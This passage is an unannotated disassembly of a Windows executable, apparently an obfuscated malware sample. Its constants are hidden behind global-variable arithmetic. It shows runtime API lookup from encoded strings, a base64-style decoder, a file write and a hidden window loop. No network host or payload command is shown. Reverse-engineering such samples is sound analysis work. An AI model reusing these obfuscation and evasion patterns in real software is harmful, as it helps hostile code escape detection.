loc_446963:				; CODE XREF: sub_446839+219j
		mov	eax, dword_551110
		sub	eax, 9
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		mov	eax, dword_551120
		movsx	edx, word_5510A8
		add	eax, edx
		sub	eax, 7
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	ebx, eax
		mov	eax, dword_551228
		sub	eax, 8
		cmp	ebx, eax
		jnz	loc_4468E6
		mov	eax, dword_5511DC
		movsx	edx, word_551198
		add	eax, edx
		dec	eax
		push	eax
		lea	eax, [ebp+var_10030]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, dword_5511F4
		sub	eax, 9
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+28h]
		mov	ebx, eax
		movsx	eax, word_551208
		add	eax, dword_551234
		mov	edx, dword_5510E8
		movsx	ecx, word_551128
		add	edx, ecx
		sub	edx, 6
		mov	[ebp+eax+var_10034], dl
		movsx	eax, word_5511A4
		add	eax, dword_551150
		sub	eax, 0Ah
		cmp	ebx, eax
		jnz	short loc_446A22
		lea	eax, [ebp+var_1002B]
		push	eax
		mov	eax, [ebp+var_10030]
		push	dword ptr [eax+4]
		call	sub_43DBFE
		add	esp, 8


loc_446A22:				; CODE XREF: sub_446839+1CFj
		lea	eax, [ebp+var_1002B]
		push	eax
		lea	esi, [ebp+var_2C]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_14]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		push	[ebp+var_4]
		call	sub_440364
		add	esp, 28h
		jmp	loc_446963
; ---------------------------------------------------------------------------


loc_446A57:				; CODE XREF: sub_446839+E5j
		mov	eax, dword_551114
		add	eax, dword_5510AC
		sub	eax, 8
		cmp	[ebp+var_1C], eax
		jz	short loc_446A73
		mov	eax, [ebp+var_1C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_446A73:				; CODE XREF: sub_446839+22Fj
		mov	eax, dword_551098
		add	eax, dword_5511D8
		sub	eax, 0Dh
		cmp	[ebp+var_18], eax
		jz	short loc_446A8F
		mov	eax, [ebp+var_18]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_446A8F:				; CODE XREF: sub_446839+A7j
					; sub_446839+24Bj
		mov	eax, dword_5510EC
		dec	eax
		cmp	[ebp+var_4], eax
		jz	short loc_446AA3
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_446AA3:				; CODE XREF: sub_446839+20j
					; sub_446839+63j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_446839	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446AA8	proc near		; CODE XREF: sub_43D535+103p
					; sub_446250+1E4p ...

var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_40D		= byte ptr -40Dh
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= dword	ptr -400h
var_358		= dword	ptr -358h
var_34C		= dword	ptr -34Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 41Ch
		push	ebx
		push	esi
		push	edi
		movsx	esi, word_5510A8
		jmp	short loc_446ADA
; ---------------------------------------------------------------------------


loc_446ABD:				; CODE XREF: sub_446AA8+3Ej
		movsx	edx, word_551164
		movsx	ecx, word_551190
		add	edx, ecx
		sub	edx, 8
		neg	edx
		mov	[ebp+esi*4+var_400], edx
		inc	esi


loc_446ADA:				; CODE XREF: sub_446AA8+13j
		mov	eax, dword_551124
		add	eax, 0FEh
		cmp	esi, eax
		jb	short loc_446ABD
		mov	eax, dword_55119C
		movsx	edx, word_551244
		add	eax, edx
		sub	eax, 0Bh
		mov	[ebp+var_404], eax
		mov	edi, dword_55112C
		add	edi, 27h
		movsx	eax, word_5510CC
		add	edi, eax
		jmp	short loc_446B2E
; ---------------------------------------------------------------------------


loc_446B13:				; CODE XREF: sub_446AA8+90j
		mov	edx, dword_551234
		add	edx, dword_5511F4
		sub	edx, 0Dh
		mov	ecx, edi
		add	ecx, edx
		mov	[ebp+edi*4+var_400], ecx
		inc	edi


loc_446B2E:				; CODE XREF: sub_446AA8+69j
		mov	eax, dword_551238
		add	eax, 3Ah
		cmp	edi, eax
		jb	short loc_446B13
		mov	ebx, [ebp+arg_4]
		movsx	esi, word_551244
		sub	esi, 7
		movsx	edi, word_5510C4
		sub	edi, 6
		jmp	short loc_446B8A
; ---------------------------------------------------------------------------


loc_446B53:				; CODE XREF: sub_446AA8+F6j
		movsx	edx, word_551104
		add	edx, 41h
		mov	ecx, edi
		add	ecx, edx
		mov	[ebp+ecx*4+var_400], edi
		mov	edx, dword_551100
		add	edx, 58h
		mov	ecx, edi
		add	ecx, edx
		mov	edx, dword_5511BC
		add	edx, 14h
		mov	eax, edi
		add	eax, edx
		mov	[ebp+ecx*4+var_400], eax
		inc	edi


loc_446B8A:				; CODE XREF: sub_446AA8+A9j
		movsx	eax, word_551144
		movsx	edx, word_55109C
		lea	eax, [eax+edx+10h]
		cmp	edi, eax
		jb	short loc_446B53
		mov	edx, dword_5510C0
		mov	ecx, dword_5510BC
		add	ecx, 3Fh
		mov	[ebp+edx*4+var_34C], ecx
		movsx	edx, word_551198
		mov	ecx, dword_5511EC
		add	ecx, 34h
		add	ecx, dword_5511D0
		mov	[ebp+edx*4+var_358], ecx
		movsx	eax, word_551128
		add	eax, dword_551228
		sub	eax, 0Dh
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+arg_4]
		mov	[ebp+var_408], eax
		mov	edi, [ebp+arg_0]
		jmp	loc_446D3E
; ---------------------------------------------------------------------------


loc_446BFD:				; CODE XREF: sub_446AA8+2A1j
		movsx	edx, byte ptr [edi]
		shl	edx, 2
		mov	esi, [ebp+edx+var_400]
		mov	eax, dword_5511B4
		sub	eax, 3
		neg	eax
		cmp	esi, eax
		jz	loc_446D3D
		mov	eax, [ebp+var_404]
		or	eax, eax
		jl	loc_446D37
		cmp	eax, 3
		jg	loc_446D37
		jmp	off_551460[eax*4]


loc_446C3A:				; DATA XREF: .data:off_551460o
		inc	[ebp+var_404]
		jmp	loc_446D37
; ---------------------------------------------------------------------------


loc_446C45:				; CODE XREF: sub_446AA8+18Bj
					; DATA XREF: .data:00551464o
		mov	edx, [ebp+var_40C]
		movsx	ecx, word_551240
		sub	ecx, 6
		mov	eax, edx
		shl	eax, cl
		mov	[ebp+var_418], eax
		mov	edx, esi
		and	edx, 30h
		mov	ecx, dword_551114
		add	ecx, dword_551200
		sub	ecx, 2
		mov	eax, edx
		sar	eax, cl
		mov	edx, [ebp+var_418]
		or	edx, eax
		mov	[ebp+var_40D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_40D]
		mov	[eax], dl
		inc	[ebp+var_404]
		jmp	loc_446D37
; ---------------------------------------------------------------------------


loc_446C9B:				; CODE XREF: sub_446AA8+18Bj
					; DATA XREF: .data:00551468o
		mov	edx, [ebp+var_40C]
		and	edx, 0Fh
		movsx	ecx, word_551198
		mov	eax, dword_551238
		lea	ecx, [ecx+eax+3]
		mov	eax, edx
		shl	eax, cl
		mov	[ebp+var_41C], eax
		mov	edx, esi
		and	edx, 3Ch
		mov	ecx, dword_5510E0
		add	ecx, dword_5511FC
		sub	ecx, 4
		mov	eax, edx
		sar	eax, cl
		mov	edx, [ebp+var_41C]
		or	edx, eax
		mov	[ebp+var_40D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_40D]
		mov	[eax], dl
		inc	[ebp+var_404]
		jmp	short loc_446D37
; ---------------------------------------------------------------------------


loc_446CF7:				; CODE XREF: sub_446AA8+18Bj
					; DATA XREF: .data:0055146Co
		mov	edx, [ebp+var_40C]
		and	edx, 3
		movsx	ecx, word_551118
		add	ecx, dword_5511A0
		sub	ecx, 0Ah
		mov	eax, edx
		shl	eax, cl
		mov	edx, eax
		or	edx, esi
		mov	[ebp+var_40D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_40D]
		mov	[eax], dl
		mov	eax, dword_551108
		sub	eax, 8
		mov	[ebp+var_404], eax


loc_446D37:				; CODE XREF: sub_446AA8+17Cj
					; sub_446AA8+185j ...
		mov	[ebp+var_40C], esi


loc_446D3D:				; CODE XREF: sub_446AA8+16Ej
		inc	edi


loc_446D3E:				; CODE XREF: sub_446AA8+150j
		cmp	byte ptr [edi],	0
		jz	short loc_446D4F
		cmp	ebx, [ebp+var_408]
		jb	loc_446BFD


loc_446D4F:				; CODE XREF: sub_446AA8+299j
		cmp	byte ptr [edi],	0
		jnz	short loc_446D5B
		mov	eax, ebx
		sub	eax, [ebp+arg_4]
		jmp	short loc_446D63
; ---------------------------------------------------------------------------


loc_446D5B:				; CODE XREF: sub_446AA8+2AAj
		mov	eax, dword_5511DC
		inc	eax
		neg	eax


loc_446D63:				; CODE XREF: sub_446AA8+2B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_446AA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446D68	proc near		; CODE XREF: sub_446250+38Dp
					; sub_446250+41Ap

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		movsx	eax, word_5511F0
		sub	eax, 6
		push	eax
		push	80h
		push	4
		mov	eax, dword_551178
		add	eax, dword_5511B4
		sub	eax, 0Dh
		push	eax
		mov	eax, dword_551120
		movsx	edx, word_5511A8
		add	eax, edx
		sub	eax, 8
		push	eax
		push	40000000h
		push	offset dword_4CC230
		call	ds:dword_54FB18
		mov	edi, eax
		push	0
		mov	eax, dword_5511B8
		add	eax, dword_5510C0
		sub	eax, 6
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_54FF30
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_446DD7:				; CODE XREF: sub_446D68+74j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_446DD7
		mov	esi, eax
		mov	ebx, dword_5511E0
		sub	ebx, 4
		push	ebx
		lea	ebx, [ebp+var_4]
		push	ebx
		push	esi
		push	[ebp+arg_0]
		push	edi
		call	ds:dword_54FF1C
		push	edi
		call	ds:dword_4CD948
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_446D68	endp


; =============== S U B	R O U T	I N E =======================================



sub_446E05	proc near		; CODE XREF: sub_446ED7+16p
		push	edi
		push	offset byte_551521
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_551268, eax
		movsx	eax, word_551190
		sub	eax, 8
		cmp	dword_551268, eax
		jnz	short loc_446E46
		push	offset byte_551511
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_48C218
		mov	dword_551268, eax


loc_446E46:				; CODE XREF: sub_446E05+28j
		push	offset dword_551500
		call	sub_43CAF7
		push	eax
		push	dword_551268
		call	ds:dword_44B1AC
		mov	ds:dword_54FF34, eax
		push	offset word_5514EE
		call	sub_43CAF7
		push	eax
		push	dword_551268
		call	ds:dword_44B1AC
		mov	ds:dword_44900C, eax
		push	offset word_5514DE
		call	sub_43CAF7
		push	eax
		push	dword_551268
		call	ds:dword_44B1AC
		mov	ds:dword_550044, eax
		push	offset byte_5514CF
		call	sub_43CAF7
		push	eax
		push	dword_551268
		call	ds:dword_44B1AC
		mov	ds:dword_448048, eax
		push	offset byte_5514BF
		call	sub_43CAF7
		add	esp, 14h
		push	eax
		push	dword_551268
		call	ds:dword_44B1AC
		mov	ds:dword_4CC224, eax
		pop	edi
		retn
sub_446E05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446ED7	proc near		; DATA XREF: sub_43D76D+Co
					; sub_43D76D+34o ...

var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= byte ptr -144h
var_143		= byte ptr -143h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 158h
		push	ebx
		push	esi
		push	edi
		call	sub_43DD23
		call	sub_43D309
		call	sub_446E05
		call	sub_445885
		call	sub_445E1B
		call	sub_4427D3
		call	sub_4428C5
		call	sub_441B17
		call	sub_43EBF8
		call	sub_443272
		call	sub_442FB0
		mov	esi, eax


loc_446F1C:				; CODE XREF: sub_446ED7+ABj
		call	sub_43DC76
		mov	edx, eax
		mov	[ebp+var_144], dl
		movzx	eax, [ebp+var_144]
		mov	edx, dword_551200
		add	edx, dword_551248
		sub	edx, 7
		cmp	eax, edx
		jnz	short loc_446F58
		mov	eax, dword_551090
		add	eax, dword_551108
		sub	eax, 0Bh
		push	eax
		call	ds:dword_54E960


loc_446F58:				; CODE XREF: sub_446ED7+6Aj
		movzx	eax, [ebp+var_144]
		mov	edx, dword_55116C
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_446F84
		mov	eax, dword_55110C
		add	eax, 5Ch
		add	eax, dword_5510D8
		push	eax
		call	ds:dword_50E924
		pop	ecx
		jmp	short loc_446F1C
; ---------------------------------------------------------------------------


loc_446F84:				; CODE XREF: sub_446ED7+93j
		or	esi, esi
		jnz	loc_44706B
		push	offset dword_5514B4
		call	sub_43CAF7
		mov	[ebp+var_150], eax
		push	offset word_5514AA
		call	sub_43CAF7
		push	eax
		mov	edx, [ebp+var_150]
		push	edx
		lea	edx, [ebp+var_143]
		push	edx
		call	ds:dword_50E928
		lea	eax, [ebp+var_143]
		push	eax
		push	0
		mov	eax, dword_551230
		movsx	edx, word_551118
		add	eax, edx
		sub	eax, 9
		push	eax
		call	ds:dword_4CE908
		mov	edi, eax
		push	offset word_55149E
		call	sub_43CAF7
		mov	[ebp+var_154], eax
		push	offset dword_551494
		call	sub_43CAF7
		mov	edx, dword_551234
		movsx	ecx, word_5510F4
		add	edx, ecx
		sub	edx, 4
		push	edx
		push	eax
		mov	edx, [ebp+var_154]
		push	edx
		lea	edx, [ebp+var_143]
		push	edx
		call	ds:dword_50E928
		add	esp, 2Ch
		lea	eax, [ebp+var_143]
		push	eax
		push	1
		push	dword_5511DC
		call	ds:dword_4CE908
		mov	edi, eax
		mov	eax, dword_5510C0
		sub	eax, 2
		cmp	edi, eax
		jnz	short loc_447052
		push	dword_551224
		call	ds:dword_54E960


loc_447052:				; CODE XREF: sub_446ED7+16Dj
		mov	eax, dword_5510E0
		add	eax, 0FFFFFFF1h
		movsx	edx, word_551118
		add	eax, edx
		push	eax
		push	edi
		call	ds:dword_50E920


loc_44706B:				; CODE XREF: sub_446ED7+AFj
		movsx	eax, word_551164
		dec	eax
		push	eax
		call	ds:dword_44B598
		mov	ebx, eax
		lea	eax, sub_43EE6A
		mov	[ebp+var_40], eax
		mov	[ebp+var_28], 5
		movsx	eax, word_551194
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		sub	eax, 2
		mov	[ebp+var_30], eax
		movsx	eax, word_551190
		sub	eax, 8
		mov	[ebp+var_2C], eax
		mov	[ebp+var_34], ebx
		mov	eax, dword_55121C
		add	eax, dword_5511C8
		sub	eax, 0Ch
		mov	[ebp+var_38], eax
		mov	[ebp+var_44], 3
		push	offset word_55148A
		call	sub_43CAF7
		mov	[ebp+var_20], eax
		mov	eax, dword_5510C0
		add	eax, dword_5510B8
		sub	eax, 6
		mov	[ebp+var_3C], eax
		mov	eax, dword_55116C
		sub	eax, 5
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_44]
		push	eax
		call	ds:dword_44B090
		push	offset byte_5527C3
		call	sub_43CAF7
		mov	[ebp+var_158], eax
		push	offset dword_551480
		call	sub_43CAF7
		mov	edx, dword_5511F4
		sub	edx, 9
		push	edx
		push	ebx
		movsx	edx, word_5511C4
		add	edx, dword_551140
		sub	edx, 9
		push	edx
		mov	edx, dword_5511B8
		sub	edx, 4
		push	edx
		mov	edx, dword_5510D4
		movsx	ecx, word_551210
		add	edx, ecx
		sub	edx, 0Ah
		push	edx
		mov	edx, dword_5510A4
		mov	ecx, dword_5510DC
		add	ecx, edx
		sub	ecx, 0Bh
		push	ecx
		mov	ecx, dword_5511B0
		add	ecx, dword_5511C8
		sub	ecx, 0Fh
		push	ecx
		add	edx, dword_551124
		sub	edx, 9
		push	edx
		push	0CA0000h
		push	eax
		mov	edx, [ebp+var_158]
		push	edx
		movsx	edx, word_551198
		add	edx, dword_55120C
		sub	edx, 5
		push	edx
		call	ds:dword_4CD93C
		mov	ds:dword_44B5C0, eax
		lea	eax, [ebp+var_148]
		push	eax
		push	ebx
		call	sub_43EC56
		mov	[ebp+var_14C], eax
		push	0
		call	sub_440CD2
		add	esp, 18h
		mov	eax, [ebp+var_148]
		mov	ds:dword_44B5C4, eax
		mov	eax, [ebp+var_14C]
		mov	ds:dword_4CE8FC, eax
		or	esi, esi
		jnz	short loc_4471F1
		call	sub_442B06
		mov	eax, dword_5510E8
		add	eax, dword_55123C
		dec	eax
		mov	ds:dword_50E92C, eax
		jmp	short loc_447202
; ---------------------------------------------------------------------------


loc_4471F1:				; CODE XREF: sub_446ED7+300j
		movsx	eax, word_5511E8
		add	eax, 3A91h
		mov	ds:dword_50E92C, eax


loc_447202:				; CODE XREF: sub_446ED7+318j
		push	offset sub_445B7F
		call	sub_43EBAF
		pop	ecx
		or	esi, esi
		jnz	short loc_44723B
		call	sub_443843
		call	sub_446839
		call	sub_443B74
		call	sub_43E501
		jmp	short loc_44723B
; ---------------------------------------------------------------------------


loc_447227:				; CODE XREF: sub_446ED7+38Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_54EB00
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_449018


loc_44723B:				; CODE XREF: sub_446ED7+338j
					; sub_446ED7+34Ej
		movsx	eax, word_551164
		dec	eax
		push	eax
		mov	eax, dword_5511B8
		sub	eax, 4
		push	eax
		movsx	eax, word_551240
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_4CC548
		or	eax, eax
		jnz	short loc_447227
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_446ED7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44726D	proc near		; CODE XREF: sub_440A1B+28Cp

var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_5510B0
		add	eax, dword_55117C
		sub	eax, 0Bh
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_443F06
		add	esp, 0Ch
		mov	[ebp+var_54], eax
		test	eax, eax
		jnz	loc_44750E
		push	offset dword_551470
		call	sub_43FEC5
		pop	ecx
		push	eax
		call	ds:dword_44900C
		mov	[ebp+var_10], eax
		mov	[ebp+var_18], 8
		lea	eax, [ebp+var_8]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_8]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+30h]
		mov	ebx, eax
		movsx	eax, word_5510C4
		movsx	edx, word_5511C4
		add	eax, edx
		sub	eax, 0Eh
		cmp	ebx, eax
		jnz	loc_4474F2
		lea	eax, [ebp+var_40]
		push	eax
		push	offset dword_552A38
		mov	eax, [ebp+var_8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_551094
		add	eax, dword_5511D8
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_4474E9
		mov	[ebp+var_30], 2
		mov	eax, dword_55121C
		movsx	edx, word_551240
		add	eax, edx
		sub	eax, 0Ch
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	esi, [ebp+var_30]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_30]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_40]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		mov	eax, dword_551220
		sub	eax, 2
		cmp	ebx, eax
		jnz	loc_4474E0
		mov	eax, dword_55124C
		sub	eax, 9
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_552A48
		mov	eax, [ebp+var_1C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_55120C
		sub	eax, 4
		cmp	ebx, eax
		jnz	loc_4474D7
		inc	ds:dword_44B5D0
		mov	eax, dword_551160
		add	eax, dword_551200
		sub	eax, 2
		cmp	ds:dword_44B5D0, eax
		jb	short loc_4473E9
		mov	eax, dword_5510F0
		add	eax, 3
		add	eax, dword_551248
		mov	ds:dword_44B5D0, eax
		push	[ebp+var_4]
		call	sub_43E284
		pop	ecx
		jmp	loc_4474CE
; ---------------------------------------------------------------------------


loc_4473E9:				; CODE XREF: sub_44726D+159j
		movsx	eax, word_551194
		add	eax, dword_55118C
		sub	eax, 2
		mov	[ebp+var_48], eax
		lea	eax, [ebp+var_50]
		push	eax
		push	ds:dword_44801C
		call	sub_4457E1
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_4C]
		push	eax
		push	ds:dword_449FD4
		call	sub_4457E1
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_44]
		push	eax
		push	ds:dword_4CD820
		call	sub_4457E1
		add	esp, 18h
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_44], 0
		jz	short loc_447456
		test	eax, eax
		jz	short loc_447456
		push	43h
		lea	eax, [ebp+var_48]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_44]
		push	[ebp+var_3C]
		call	sub_44250C
		add	esp, 14h


loc_447456:				; CODE XREF: sub_44726D+1CCj
					; sub_44726D+1D0j
		cmp	[ebp+var_4C], 0
		jz	short loc_447479
		cmp	[ebp+var_38], 0
		jz	short loc_447479
		push	50h
		lea	eax, [ebp+var_48]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_4C]
		push	[ebp+var_38]
		call	sub_44250C
		add	esp, 14h


loc_447479:				; CODE XREF: sub_44726D+1EDj
					; sub_44726D+1F3j
		cmp	[ebp+var_50], 0
		jz	short loc_44749C
		cmp	[ebp+var_34], 0
		jz	short loc_44749C
		push	44h
		lea	eax, [ebp+var_48]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_50]
		push	[ebp+var_34]
		call	sub_44250C
		add	esp, 14h


loc_44749C:				; CODE XREF: sub_44726D+210j
					; sub_44726D+216j
		push	[ebp+var_38]
		call	ds:dword_44B5CC
		push	[ebp+var_3C]
		call	ds:dword_44B5CC
		push	[ebp+var_34]
		call	ds:dword_44B5CC
		movsx	eax, word_551194
		inc	eax
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_443F06
		add	esp, 0Ch


loc_4474CE:				; CODE XREF: sub_44726D+177j
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4474D7:				; CODE XREF: sub_44726D+139j
		mov	eax, [ebp+var_1C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4474E0:				; CODE XREF: sub_44726D+106j
		mov	eax, [ebp+var_40]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4474E9:				; CODE XREF: sub_44726D+AFj
		mov	eax, [ebp+var_8]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4474F2:				; CODE XREF: sub_44726D+7Fj
		lea	eax, [ebp+var_18]
		push	eax
		call	ds:dword_54FF34
		mov	eax, dword_5511AC
		add	eax, dword_5510A0
		sub	eax, 5
		cmp	ebx, eax
		jz	short $+2


loc_44750E:				; CODE XREF: sub_44726D+2Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44726D	endp


; =============== S U B	R O U T	I N E =======================================



sub_447513	proc near		; DATA XREF: .data:005512D8o
		mov	eax, 80004001h
		retn	10h
sub_447513	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_44751C	proc near		; CODE XREF: sub_447539+1Ep

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_44751D:				; CODE XREF: sub_44751C+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_44751D
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		push	ecx
		retn
sub_44751C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_447539	proc near		; CODE XREF: sub_442B82+3Ap

arg_0		= dword	ptr  4

		pop	ecx
		pop	eax
		add	eax, 3
		shr	eax, 2
		shl	eax, 2
		cmp	eax, 1000h
		jl	short loc_447569
		mov	edx, esp
		push	eax
		fild	[esp-4+arg_0]
		mov	[esp-4+arg_0], ecx
		fild	[esp-4+arg_0]
		call	sub_44751C
		mov	esp, edx
		push	edx
		fistp	dword ptr [esp+0]
		mov	ecx, [esp+0]
		fistp	dword ptr [esp+0]
		pop	eax


loc_447569:				; CODE XREF: sub_447539+10j
		sub	esp, eax
		mov	eax, esp
		mov	dword ptr [eax], 0
		push	ecx
		push	ecx
		retn
sub_447539	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_447578	proc near		; CODE XREF: .text:0043A1BAp
					; DATA XREF: .data:off_551000o
		xor	eax, eax
		inc	eax
		retn	0Ch
sub_447578	endp

; ---------------------------------------------------------------------------
		align 10h
		push	eax
		fnstcw	word ptr [esp]
		mov	eax, [esp]
		btr	dword ptr [esp], 8
		or	word ptr [esp],	200h
; START	OF FUNCTION CHUNK FOR sub_4475A3


loc_447592:				; CODE XREF: sub_4475A3+Dj
		fldcw	word ptr [esp+4+var_4]
		pop	ecx


loc_447596:				; CODE XREF: .text:004475A1j
		mov	al, ah
		and	eax, 3
		retn
; END OF FUNCTION CHUNK	FOR sub_4475A3
; ---------------------------------------------------------------------------
		push	eax
		fnstcw	word ptr [esp]
		pop	eax
		jmp	short loc_447596

; =============== S U B	R O U T	I N E =======================================



sub_4475A3	proc near		; CODE XREF: .text:loc_43A1A7p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00447592 SIZE 0000000A BYTES

		push	eax
		fnstcw	word ptr [esp+4+var_4]
		mov	eax, [esp+4+var_4]
		or	word ptr [esp+4+var_4],	300h
		jmp	short loc_447592
sub_4475A3	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4475B4	proc near		; CODE XREF: sub_43B5D8+8p
					; sub_43CDF1+8p ...

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_4475B5:				; CODE XREF: sub_4475B4+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_4475B5
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		jmp	ecx
sub_4475B4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4475D4	proc near		; CODE XREF: sub_43A324+280p
					; sub_43A324+910p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		xor	eax, eax
		mov	ecx, 0FFFFFFFFh
		xchg	edi, edx
		repne scasb
		neg	ecx
		lea	ecx, [ecx-1]
		mov	eax, [esp+arg_4]
		xchg	eax, esi
		mov	edi, [esp+arg_0]
		rep movsb
		xchg	eax, esi
		xchg	edx, edi
		mov	eax, [esp+arg_0]
		retn	8
sub_4475D4	endp

; ---------------------------------------------------------------------------
		align 10h
		jmp	dword ptr ds:5530ACh
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44760C	proc near		; CODE XREF: sub_43A25C+10p
		jmp	dword ptr ds:5530B0h
sub_44760C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447618	proc near		; CODE XREF: sub_43A080+13p
		jmp	dword ptr ds:5530B4h
sub_447618	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


